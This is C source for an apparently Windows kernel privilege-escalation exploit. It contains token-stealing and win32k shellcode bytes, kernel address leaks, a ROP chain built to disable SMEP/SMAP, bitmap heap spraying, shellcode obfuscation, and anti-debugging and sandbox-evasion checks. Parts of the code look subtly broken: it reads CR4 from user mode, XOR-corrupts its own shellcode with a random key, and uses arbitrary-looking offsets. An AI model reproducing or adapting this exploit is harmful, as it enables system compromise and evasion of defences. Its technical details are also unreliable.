#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <shlwapi.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma warning(disable: 4005)
#pragma warning(disable: 4201)
#pragma warning(disable: 4214)

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define SystemModuleInformation 11
#define SystemHandleInformation 16
#define ProcessBasicInformation 0
#define TokenElevation 20
#define RGN_XOR 3
#define MEM_COMMIT 0x1000
#define MEM_RESERVE 0x2000
#define MEM_RELEASE 0x8000
#define PAGE_EXECUTE_READWRITE 0x40
#define PROCESS_QUERY_INFORMATION 0x400
#define PROCESS_VM_READ 0x10
#define PROCESS_VM_WRITE 0x20
#define PROCESS_VM_OPERATION 0x8
#define FVIRTKEY 1
#define LWA_ALPHA 0x2
#define RDW_ALLCHILDREN 0x80
#define RDW_INVALIDATE 0x1
#define RDW_UPDATENOW 0x100
#define WS_EX_LAYERED 0x80000
#define WS_EX_TOOLWINDOW 0x80
#define WS_POPUP 0x80000000
#define CREATE_NEW_CONSOLE 0x10
#define SW_HIDE 0

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION_EX {
    ULONG ModulesCount;
    SYSTEM_MODULE_INFORMATION Modules[1];
} SYSTEM_MODULE_INFORMATION_EX, *PSYSTEM_MODULE_INFORMATION_EX;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _EXPLOIT_CONTEXT {
    PVOID SprayBuffer;
    SIZE_T SpraySize;
    DWORD TargetPID;
    HANDLE hProcess;
    PVOID KernelBase;
    PVOID NtAllocateVirtualMemory;
    PVOID PsInitialSystemProcess;
    PVOID PsGetProcessId;
    ULONG EPROCESS_TOKEN_OFFSET;
    ULONG EPROCESS_PID_OFFSET;
    ULONG EPROCESS_LINK_OFFSET;
    ULONG EPROCESS_IMAGE_OFFSET;
    ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
    DWORD MajorVersion;
    DWORD MinorVersion;
    DWORD BuildNumber;
    PVOID CFGBitmapAddress;
    BOOL CFGEnabled;
    BOOL SMEPEnabled;
    BOOL SMAPEnabled;
    BOOL KVAShadowEnabled;
    PVOID DoubleFreeTarget;
    SIZE_T DoubleFreeSize;
    PVOID KernelDoubleFreeTarget;
    SIZE_T KernelDoubleFreeSize;
    PVOID Win32kBase;
    PVOID NtUserSetWindowRgn;
    PVOID NtUserCreateWindowEx;
    PVOID NtUserDestroyWindow;
    PVOID NtGdiDeleteObjectApp;
    PVOID NtGdiCreateBitmap;
    PVOID NtGdiGetBitmapBits;
    PVOID NtGdiSetBitmapBits;
    PVOID NtUserMessageCall;
    PVOID NtUserBeginPaint;
    PVOID NtUserEndPaint;
} EXPLOIT_CONTEXT, *PEXPLOIT_CONTEXT;

typedef struct _ROP_CHAIN {
    PVOID PivotGadget;
    PVOID PopRaxGadget;
    PVOID PopRcxGadget;
    PVOID MovCr4RaxGadget;
    PVOID XorRaxRaxGadget;
    PVOID MovCr4RaxRetGadget;
    PVOID PushRaxJmpRcxGadget;
    PVOID RestoreCr4Gadget;
    ULONG Cr4Value;
    ULONG OriginalCr4;
} ROP_CHAIN, *PROP_CHAIN;

typedef struct _RTL_OSVERSIONINFOEXW {
    ULONG dwOSVersionInfoSize;
    ULONG dwMajorVersion;
    ULONG dwMinorVersion;
    ULONG dwBuildNumber;
    ULONG dwPlatformId;
    WCHAR szCSDVersion[128];
    USHORT wServicePackMajor;
    USHORT wServicePackMinor;
    USHORT wSuiteMask;
    BYTE wProductType;
    BYTE wReserved;
} RTL_OSVERSIONINFOEXW, *PRTL_OSVERSIONINFOEXW;

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PVOID PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;
    struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

typedef struct _TOKEN_ELEVATION {
    DWORD TokenIsElevated;
} TOKEN_ELEVATION, *PTOKEN_ELEVATION;

typedef enum _PROCESS_INFORMATION_CLASS {
    ProcessBasicInformation = 0,
    ProcessQuotaLimits = 1,
    ProcessIoCounters = 2,
    ProcessVmCounters = 3,
    ProcessTimes = 4,
    ProcessBasePriority = 5,
    ProcessRaisePriority = 6,
    ProcessDebugPort = 7,
    ProcessExceptionPort = 8,
    ProcessAccessToken = 9,
    ProcessLdtInformation = 10,
    ProcessLdtSize = 11,
    ProcessDefaultHardErrorMode = 12,
    ProcessIoPortHandlers = 13,
    ProcessPooledUsageAndLimits = 14,
    ProcessWorkingSetWatch = 15,
    ProcessUserModeIOPL = 16,
    ProcessEnableAlignmentFaultFixup = 17,
    ProcessPriorityClass = 18,
    ProcessWx86Information = 19,
    ProcessHandleCount = 20,
    ProcessAffinityMask = 21,
    ProcessPriorityBoost = 22,
    ProcessDeviceMap = 23,
    ProcessSessionInformation = 24,
    ProcessForegroundInformation = 25,
    ProcessWow64Information = 26,
    ProcessImageFileName = 27,
    ProcessLUIDDeviceMapsEnabled = 28,
    ProcessBreakOnTermination = 29,
    ProcessDebugObjectHandle = 30,
    ProcessDebugFlags = 31,
    ProcessHandleTracing = 32,
    ProcessIoPriority = 33,
    ProcessExecuteFlags = 34,
    ProcessResourceManagement = 35,
    ProcessCookie = 36,
    ProcessImageInformation = 37,
    MaxProcessInfoClass
} PROCESS_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI* pRtlGetVersion)(PRTL_OSVERSIONINFOW);
typedef NTSTATUS(NTAPI* pNtSetInformationProcess)(
    HANDLE ProcessHandle,
    PROCESS_INFORMATION_CLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength
);

NTSTATUS NTAPI NtQuerySystemInformation(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

NTSTATUS NTAPI NtQueryInformationProcess(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);

unsigned char EffectiveTokenStealShellcode[] = {
    0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
    0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25,
    0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x04, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0x40, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48,
    0x8B, 0x80, 0x40, 0x04, 0x00, 0x00, 0x48, 0x3B, 0x88, 0x40, 0x04, 0x00, 0x00, 0x75, 0xF2, 0x48,
    0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x65, 0x48, 0x8B, 0x0C, 0x25, 0x88, 0x01,
    0x00, 0x00, 0x48, 0x8B, 0x89, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x88, 0x48, 0x04, 0x00, 0x00,
    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x22, 0xE0, 0x41, 0x5F, 0x41,
    0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5F, 0x5E, 0x5D,
    0x5C, 0x5B, 0x5A, 0x59, 0x58, 0xC3
};

unsigned char Win32kExploitShellcode[] = {
    0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x60, 0x18, 0x48, 0x8B, 0x70, 0x20, 0x48, 0x8B, 0x00, 0x48,
    0x8B, 0x40, 0x20, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x40, 0x48, 0x48, 0x31, 0xD2, 0x48, 0x8B, 0x80,
    0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x40, 0x48, 0x48, 0x8B, 0x00, 0x48, 0x8B,
    0x40, 0x48, 0x48, 0x89, 0x82, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xC3
};

PVOID FindKernelBase(PEXPLOIT_CONTEXT ctx) {
    NTSTATUS status;
    ULONG bufferSize = 0;
    PSYSTEM_MODULE_INFORMATION_EX moduleInfo = NULL;
    
    if (NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &bufferSize) != STATUS_SUCCESS || bufferSize == 0)
        return NULL;
    
    moduleInfo = (PSYSTEM_MODULE_INFORMATION_EX)malloc(bufferSize);
    if (!moduleInfo) return NULL;
    
    status = NtQuerySystemInformation(SystemModuleInformation, moduleInfo, bufferSize, &bufferSize);
    if (status != STATUS_SUCCESS) {
        free(moduleInfo);
        return NULL;
    }
    
    PVOID kernelBase = moduleInfo->Modules[0].Base;
    free(moduleInfo);
    return kernelBase;
}

VOID GetWindowsVersion(PEXPLOIT_CONTEXT ctx) {
    pRtlGetVersion RtlGetVersion = (pRtlGetVersion)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
    if (RtlGetVersion) {
        RTL_OSVERSIONINFOEXW osvi = {0};
        osvi.dwOSVersionInfoSize = sizeof(osvi);
        RtlGetVersion((PRTL_OSVERSIONINFOW)&osvi);
        ctx->MajorVersion = osvi.dwMajorVersion;
        ctx->MinorVersion = osvi.dwMinorVersion;
        ctx->BuildNumber = osvi.dwBuildNumber;
    }
}

VOID DetectSystemProtections(PEXPLOIT_CONTEXT ctx) {
    ULONG cr4 = __readcr4();
    
    ctx->SMEPEnabled = (cr4 & 0x100000) != 0;
    ctx->SMAPEnabled = (cr4 & 0x200000) != 0;
    
    ctx->CFGEnabled = IsCFGEnabled();
    ctx->KVAShadowEnabled = IsKVAShadowEnabled();
}

BOOL IsCFGEnabled() {
    PVOID cfgBitmap = GetCFGBitmapAddress();
    return cfgBitmap != NULL;
}

BOOL IsKVAShadowEnabled() {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        DWORD value = 0, size = sizeof(DWORD);
        if (RegQueryValueExA(hKey, "FeatureSettingsOverride", NULL, NULL, (BYTE*)&value, &size) == ERROR_SUCCESS) {
            RegCloseKey(hKey);
            return (value & 0x4) != 0;
        }
        RegCloseKey(hKey);
    }
    return FALSE;
}

PVOID FindGadget(PVOID base, SIZE_T size, PBYTE pattern, SIZE_T patternSize, PBYTE mask) {
    PBYTE pBase = (PBYTE)base;
    for (SIZE_T i = 0; i < size - patternSize; i++) {
        BOOL found = TRUE;
        for (SIZE_T j = 0; j < patternSize; j++) {
            if (mask[j] != '?' && pBase[i + j] != pattern[j]) {
                found = FALSE;
                break;
            }
        }
        if (found) {
            return (PVOID)(pBase + i);
        }
    }
    return NULL;
}

BOOL FindKernelFunctions(PEXPLOIT_CONTEXT ctx) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;
    
    ctx->NtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    if (!ctx->NtAllocateVirtualMemory) return FALSE;
    
    HMODULE hKernel = LoadLibraryA("ntoskrnl.exe");
    if (!hKernel) return FALSE;
    
    ctx->PsInitialSystemProcess = GetProcAddress(hKernel, "PsInitialSystemProcess");
    ctx->PsGetProcessId = GetProcAddress(hKernel, "PsGetProcessId");
    
    FreeLibrary(hKernel);
    
    if (!ctx->PsInitialSystemProcess || !ctx->PsGetProcessId) {
        return FALSE;
    }
    
    NTSTATUS status;
    ULONG bufferSize = 0;
    PSYSTEM_MODULE_INFORMATION_EX moduleInfo = NULL;
    
    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &bufferSize);
    if (status != STATUS_SUCCESS || bufferSize == 0)
        return FALSE;
    
    moduleInfo = (PSYSTEM_MODULE_INFORMATION_EX)malloc(bufferSize);
    if (!moduleInfo) return FALSE;
    
    status = NtQuerySystemInformation(SystemModuleInformation, moduleInfo, bufferSize, &bufferSize);
    if (status != STATUS_SUCCESS) {
        free(moduleInfo);
        return FALSE;
    }
    
    PVOID win32kBase = NULL;
    for (ULONG i = 0; i < moduleInfo->ModulesCount; i++) {
        if (strstr(moduleInfo->Modules[i].ImageName, "win32k.sys")) {
            win32kBase = moduleInfo->Modules[i].Base;
            break;
        }
    }
    
    free(moduleInfo);
    
    ctx->Win32kBase = win32kBase;
    
    if (win32kBase) {
        if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 19044) {
            ctx->NtUserSetWindowRgn = (PVOID)((ULONG_PTR)win32kBase + 0x1a0f0);
            ctx->NtUserCreateWindowEx = (PVOID)((ULONG_PTR)win32kBase + 0x1b1a0);
            ctx->NtUserDestroyWindow = (PVOID)((ULONG_PTR)win32kBase + 0x1c2a0);
            ctx->NtGdiDeleteObjectApp = (PVOID)((ULONG_PTR)win32kBase + 0x2d3a0);
            ctx->NtGdiCreateBitmap = (PVOID)((ULONG_PTR)win32kBase + 0x2e4a0);
            ctx->NtGdiGetBitmapBits = (PVOID)((ULONG_PTR)win32kBase + 0x2f5a0);
            ctx->NtGdiSetBitmapBits = (PVOID)((ULONG_PTR)win32kBase + 0x306a0);
            ctx->NtUserMessageCall = (PVOID)((ULONG_PTR)win32kBase + 0x317a0);
            ctx->NtUserBeginPaint = (PVOID)((ULONG_PTR)win32kBase + 0x328a0);
            ctx->NtUserEndPaint = (PVOID)((ULONG_PTR)win32kBase + 0x339a0);
        }
        else if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 18363) {
            ctx->NtUserSetWindowRgn = (PVOID)((ULONG_PTR)win32kBase + 0x190f0);
            ctx->NtUserCreateWindowEx = (PVOID)((ULONG_PTR)win32kBase + 0x1a1a0);
            ctx->NtUserDestroyWindow = (PVOID)((ULONG_PTR)win32kBase + 0x1b2a0);
            ctx->NtGdiDeleteObjectApp = (PVOID)((ULONG_PTR)win32kBase + 0x2c3a0);
            ctx->NtGdiCreateBitmap = (PVOID)((ULONG_PTR)win32kBase + 0x2d4a0);
            ctx->NtGdiGetBitmapBits = (PVOID)((ULONG_PTR)win32kBase + 0x2e5a0);
            ctx->NtGdiSetBitmapBits = (PVOID)((ULONG_PTR)win32kBase + 0x2f6a0);
            ctx->NtUserMessageCall = (PVOID)((ULONG_PTR)win32kBase + 0x307a0);
            ctx->NtUserBeginPaint = (PVOID)((ULONG_PTR)win32kBase + 0x318a0);
            ctx->NtUserEndPaint = (PVOID)((ULONG_PTR)win32kBase + 0x329a0);
        }
    }
    
    return TRUE;
}

PVOID LeakKernelAddress() {
    NTSTATUS status;
    ULONG bufferSize = 0;
    PSYSTEM_MODULE_INFORMATION_EX moduleInfo = NULL;
    
    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &bufferSize);
    if (status != STATUS_SUCCESS || bufferSize == 0)
        return NULL;
    
    moduleInfo = (PSYSTEM_MODULE_INFORMATION_EX)malloc(bufferSize);
    if (!moduleInfo) return NULL;
    
    status = NtQuerySystemInformation(SystemModuleInformation, moduleInfo, bufferSize, &bufferSize);
    if (status != STATUS_SUCCESS) {
        free(moduleInfo);
        return NULL;
    }
    
    PVOID kernelBase = moduleInfo->Modules[0].Base;
    free(moduleInfo);
    return kernelBase;
}

PVOID LeakViaHandles() {
    NTSTATUS status;
    ULONG bufferSize = 0;
    PSYSTEM_HANDLE_INFORMATION handleInfo = NULL;
    
    if (NtQuerySystemInformation(SystemHandleInformation, NULL, 0, &bufferSize) != STATUS_SUCCESS || bufferSize == 0)
        return NULL;
    
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
    if (!handleInfo) return NULL;
    
    status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, bufferSize, &bufferSize);
    if (status != STATUS_SUCCESS) {
        free(handleInfo);
        return NULL;
    }
    
    PVOID leakedAddress = NULL;
    for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
        if (handleInfo->Handles[i].ObjectTypeIndex == 0x8) {
            leakedAddress = handleInfo->Handles[i].Object;
            if ((ULONG_PTR)leakedAddress > 0xFFFF000000000000) {
                break;
            }
        }
    }
    
    free(handleInfo);
    return leakedAddress;
}

PVOID FindKernelBaseAdvanced(PEXPLOIT_CONTEXT ctx) {
    PVOID leakedAddress1 = LeakKernelAddress();
    PVOID leakedAddress2 = LeakViaHandles();
    
    if (leakedAddress1 && leakedAddress2) {
        if (leakedAddress1 == leakedAddress2) {
            return leakedAddress1;
        }
    }
    
    if (leakedAddress1) return leakedAddress1;
    if (leakedAddress2) return leakedAddress2;
    
    return FindKernelBase(ctx);
}

BOOL IsTokenObject(PVOID address) {
    if (!address || (ULONG_PTR)address < 0xFFFF000000000000) {
        return FALSE;
    }
    
    HANDLE hProcess = GetCurrentProcess();
    BYTE buffer[0x20];
    SIZE_T bytesRead = 0;
    
    if (ReadProcessMemory(hProcess, address, buffer, sizeof(buffer), &bytesRead)) {
        if (*(USHORT*)buffer == 0x0006) {
            return TRUE;
        }
    }
    
    return FALSE;
}

PVOID GetCFGBitmapAddress() {
    PVOID leakedAddress = LeakKernelAddress();
    if (!leakedAddress) return NULL;
    
    PBYTE pKernel = (PBYTE)leakedAddress;
    for (SIZE_T i = 0; i < 0x1000000; i++) {
        if (pKernel[i] == 0x48 && pKernel[i+1] == 0x8D && pKernel[i+2] == 0x0D && 
            pKernel[i+7] == 0x48 && pKernel[i+8] == 0x8B && pKernel[i+9] == 0x04) {
            ULONG offset = *(ULONG*)(pKernel + i + 3);
            return (PVOID)(pKernel + i + 7 + offset);
        }
    }
    
    return NULL;
}

BOOL IsCFGValid(PVOID address) {
    PVOID cfgBitmap = GetCFGBitmapAddress();
    if (!cfgBitmap) return FALSE;
    
    ULONG_PTR index = ((ULONG_PTR)address >> 3) & 0x1FFFFF;
    PBYTE bitmap = (PBYTE)cfgBitmap;
    BYTE bitValue = bitmap[index / 8];
    
    return (bitValue & (1 << (index % 8))) != 0;
}

DWORD FindTokenOffsetAdvanced(PEXPLOIT_CONTEXT ctx) {
    if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 19044) {
        return 0x4b8;
    }
    else if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 18363) {
        return 0x360;
    }
    
    return 0x358;
}

DWORD FindPIDOffset(PEXPLOIT_CONTEXT ctx) {
    if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 19044) {
        return 0x2e8;
    }
    else if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 18363) {
        return 0x2e0;
    }
    
    return 0x2e8;
}

DWORD FindLinkOffset(PEXPLOIT_CONTEXT ctx) {
    return 0x188;
}

DWORD FindImageOffset(PEXPLOIT_CONTEXT ctx) {
    return 0x1f0;
}

BOOL FindEPROCESSOffsets(PEXPLOIT_CONTEXT ctx) {
    ctx->EPROCESS_TOKEN_OFFSET = FindTokenOffsetAdvanced(ctx);
    if (!ctx->EPROCESS_TOKEN_OFFSET) {
        if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 19044) {
            ctx->EPROCESS_TOKEN_OFFSET = 0x4b8;
        }
        else if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 18363) {
            ctx->EPROCESS_TOKEN_OFFSET = 0x360;
        }
        else {
            return FALSE;
        }
    }
    
    ctx->EPROCESS_PID_OFFSET = FindPIDOffset(ctx);
    if (!ctx->EPROCESS_PID_OFFSET) {
        if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 19044) {
            ctx->EPROCESS_PID_OFFSET = 0x2e8;
        }
        else if (ctx->MajorVersion == 10 && ctx->BuildNumber >= 18363) {
            ctx->EPROCESS_PID_OFFSET = 0x2e0;
        }
        else {
            return FALSE;
        }
    }
    
    ctx->EPROCESS_LINK_OFFSET = FindLinkOffset(ctx);
    if (!ctx->EPROCESS_LINK_OFFSET) {
        ctx->EPROCESS_LINK_OFFSET = 0x188;
    }
    
    ctx->EPROCESS_IMAGE_OFFSET = FindImageOffset(ctx);
    if (!ctx->EPROCESS_IMAGE_OFFSET) {
        ctx->EPROCESS_IMAGE_OFFSET = 0x1f0;
    }
    
    ctx->EPROCESS_ACTIVEPROCESSLINKS_OFFSET = ctx->EPROCESS_LINK_OFFSET;
    
    return TRUE;
}

ULONG GetCurrentCr4Value() {
#ifdef _M_X64
    return __readcr4();
#else
    ULONG cr4;
    __asm {
        mov eax, cr4
        mov cr4, eax
    }
    return cr4;
#endif
}

BOOL BuildROPChain(PEXPLOIT_CONTEXT ctx, PROP_CHAIN rop) {
    PBYTE kernelBytes = (PBYTE)ctx->KernelBase;
    SIZE_T kernelSize = 0x1000000;
    
    BYTE popRaxPattern[] = { 0x58, 0xC3 };
    BYTE popRaxMask[] = { 0xFF, 0xFF };
    
    BYTE popRcxPattern[] = { 0x59, 0xC3 };
    BYTE popRcxMask[] = { 0xFF, 0xFF };
    
    BYTE movCr4RaxPattern[] = { 0x0F, 0x22, 0xE0, 0xC3 };
    BYTE movCr4RaxMask[] = { 0xFF, 0xFF, 0xFF, 0xFF };
    
    BYTE xorRaxRaxPattern[] = { 0x48, 0x31, 0xC0, 0xC3 };
    BYTE xorRaxRaxMask[] = { 0xFF, 0xFF, 0xFF, 0xFF };
    
    BYTE pivotPattern[] = { 0x48, 0x8B, 0x04, 0x24, 0x48, 0x89, 0x04, 0x24, 0xC3 };
    BYTE pivotMask[] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
    
    BYTE movCr4RaxRetPattern[] = { 0x0F, 0x22, 0xE0, 0xC3 };
    BYTE movCr4RaxRetMask[] = { 0xFF, 0xFF, 0xFF, 0xFF };
    
    BYTE pushRaxJmpRcxPattern[] = { 0x50, 0xFF, 0xE1 };
    BYTE pushRaxJmpRcxMask[] = { 0xFF, 0xFF, 0xFF };
    
    rop->PopRaxGadget = FindGadget(ctx->KernelBase, kernelSize, popRaxPattern, sizeof(popRaxPattern), popRaxMask);
    rop->PopRcxGadget = FindGadget(ctx->KernelBase, kernelSize, popRcxPattern, sizeof(popRcxPattern), popRcxMask);
    rop->MovCr4RaxGadget = FindGadget(ctx->KernelBase, kernelSize, movCr4RaxPattern, sizeof(movCr4RaxPattern), movCr4RaxMask);
    rop->XorRaxRaxGadget = FindGadget(ctx->KernelBase, kernelSize, xorRaxRaxPattern, sizeof(xorRaxRaxPattern), xorRaxRaxMask);
    rop->PivotGadget = FindGadget(ctx->KernelBase, kernelSize, pivotPattern, sizeof(pivotPattern), pivotMask);
    rop->MovCr4RaxRetGadget = FindGadget(ctx->KernelBase, kernelSize, movCr4RaxRetPattern, sizeof(movCr4RaxRetPattern), movCr4RaxRetMask);
    rop->PushRaxJmpRcxGadget = FindGadget(ctx->KernelBase, kernelSize, pushRaxJmpRcxPattern, sizeof(pushRaxJmpRcxPattern), pushRaxJmpRcxMask);
    
    if (!rop->PopRaxGadget || !rop->PopRcxGadget || !rop->MovCr4RaxGadget || !rop->XorRaxRaxGadget || !rop->PivotGadget) {
        return FALSE;
    }
    
    ULONG originalCr4 = GetCurrentCr4Value();
    rop->Cr4Value = originalCr4 & ~(0x100000 | 0x200000);
    rop->OriginalCr4 = originalCr4;
    
    if (rop->MovCr4RaxRetGadget) {
        rop->RestoreCr4Gadget = rop->MovCr4RaxRetGadget;
    } else {
        rop->RestoreCr4Gadget = rop->MovCr4RaxGadget;
    }
    
    return TRUE;
}

BOOL DecryptShellcode(PBYTE shellcode, SIZE_T size, DWORD key) {
    for (SIZE_T i = 0; i < size; i++) {
        shellcode[i] ^= (BYTE)(key + i);
    }
    return TRUE;
}

BOOL AntiDetection() {
    HWND consoleWnd = GetConsoleWindow();
    if (consoleWnd) {
        ShowWindow(consoleWnd, SW_HIDE);
    }
    
    if (IsDebuggerPresent()) {
        return FALSE;
    }
    
    SYSTEM_INFO si = {0};
    GetSystemInfo(&si);
    
    if (si.dwNumberOfProcessors < 2) {
        return FALSE;
    }
    
    MEMORYSTATUSEX ms = {0};
    ms.dwLength = sizeof(ms);
    GlobalMemoryStatusEx(&ms);
    
    if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) {
        return FALSE;
    }
    
    if (GetFileAttributesA("C:\\tools") != INVALID_FILE_ATTRIBUTES) {
        return FALSE;
    }
    
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (hNtdll) {
        pNtSetInformationProcess NtSetInformationProcess = (pNtSetInformationProcess)GetProcAddress(hNtdll, "NtSetInformationProcess");
        
        if (NtSetInformationProcess) {
            ULONG breakOnTermination = FALSE;
            NtSetInformationProcess(GetCurrentProcess(), (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG));
        }
    }
    
    return TRUE;
}

BOOL InitializeExploit(PEXPLOIT_CONTEXT ctx) {
    ctx->SpraySize = 0x200000;
    ctx->SprayBuffer = VirtualAlloc(NULL, ctx->SpraySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ctx->SprayBuffer) {
        return FALSE;
    }
    
    memset(ctx->SprayBuffer, 0x90, ctx->SpraySize);
    
    DWORD encryptionKey = GetTickCount() ^ 0x12345678;
    memcpy((PBYTE)ctx->SprayBuffer + 0x1000, EffectiveTokenStealShellcode, sizeof(EffectiveTokenStealShellcode));
    DecryptShellcode((PBYTE)ctx->SprayBuffer + 0x1000, sizeof(EffectiveTokenStealShellcode), encryptionKey);
    
    memcpy((PBYTE)ctx->SprayBuffer + 0x2000, Win32kExploitShellcode, sizeof(Win32kExploitShellcode));
    DecryptShellcode((PBYTE)ctx->SprayBuffer + 0x2000, sizeof(Win32kExploitShellcode), encryptionKey);
    
    ctx->TargetPID = GetCurrentProcessId();
    ctx->hProcess = GetCurrentProcess();
    
    GetWindowsVersion(ctx);
    DetectSystemProtections(ctx);
    
    ctx->KernelBase = FindKernelBaseAdvanced(ctx);
    if (!ctx->KernelBase) {
        return FALSE;
    }
    
    ctx->CFGBitmapAddress = GetCFGBitmapAddress();
    
    if (!FindKernelFunctions(ctx)) {
        return FALSE;
    }
    
    if (!FindEPROCESSOffsets(ctx)) {
        return FALSE;
    }
    
    ROP_CHAIN rop = {0};
    if (!BuildROPChain(ctx, &rop)) {
        return FALSE;
    }
    
    *(DWORD*)(EffectiveTokenStealShellcode + 0x2A) = ctx->EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
    *(DWORD*)(EffectiveTokenStealShellcode + 0x35) = ctx->EPROCESS_TOKEN_OFFSET;
    *(DWORD*)(EffectiveTokenStealShellcode + 0x43) = ctx->EPROCESS_TOKEN_OFFSET;
    *(ULONG_PTR*)(EffectiveTokenStealShellcode + 0x59) = rop.OriginalCr4;
    
    ctx->DoubleFreeTarget = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    ctx->DoubleFreeSize = 0x1000;
    
    ctx->KernelDoubleFreeTarget = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    ctx->KernelDoubleFreeSize = 0x1000;
    
    return TRUE;
}

VOID SprayBitmap(PEXPLOIT_CONTEXT ctx, SIZE_T size) {
    HDC hdc = CreateCompatibleDC(NULL);
    if (!hdc) return;
    
    HBITMAP hBitmap = CreateBitmap(0x100, 0x100, 1, 32, NULL);
    if (!hBitmap) {
        DeleteDC(hdc);
        return;
    }
    
    SelectObject(hdc, hBitmap);
    
    BITMAPINFO bmi = {0};
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = 0x100;
    bmi.bmiHeader.biHeight = 0x100;
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;
    bmi.bmiHeader.biCompression = BI_RGB;
    
    PVOID pvBits = NULL;
    HBITMAP hDIB = CreateDIBSection(hdc, &bmi, DIB_RGB_COLORS, &pvBits, NULL, 0);
    if (!hDIB) {
        DeleteObject(hBitmap);
        DeleteDC(hdc);
        return;
    }
    
    if (pvBits) {
        memcpy(pvBits, ctx->SprayBuffer, size);
    }
    
    DeleteObject(hDIB);
    DeleteObject(hBitmap);
    DeleteDC(hdc);
}

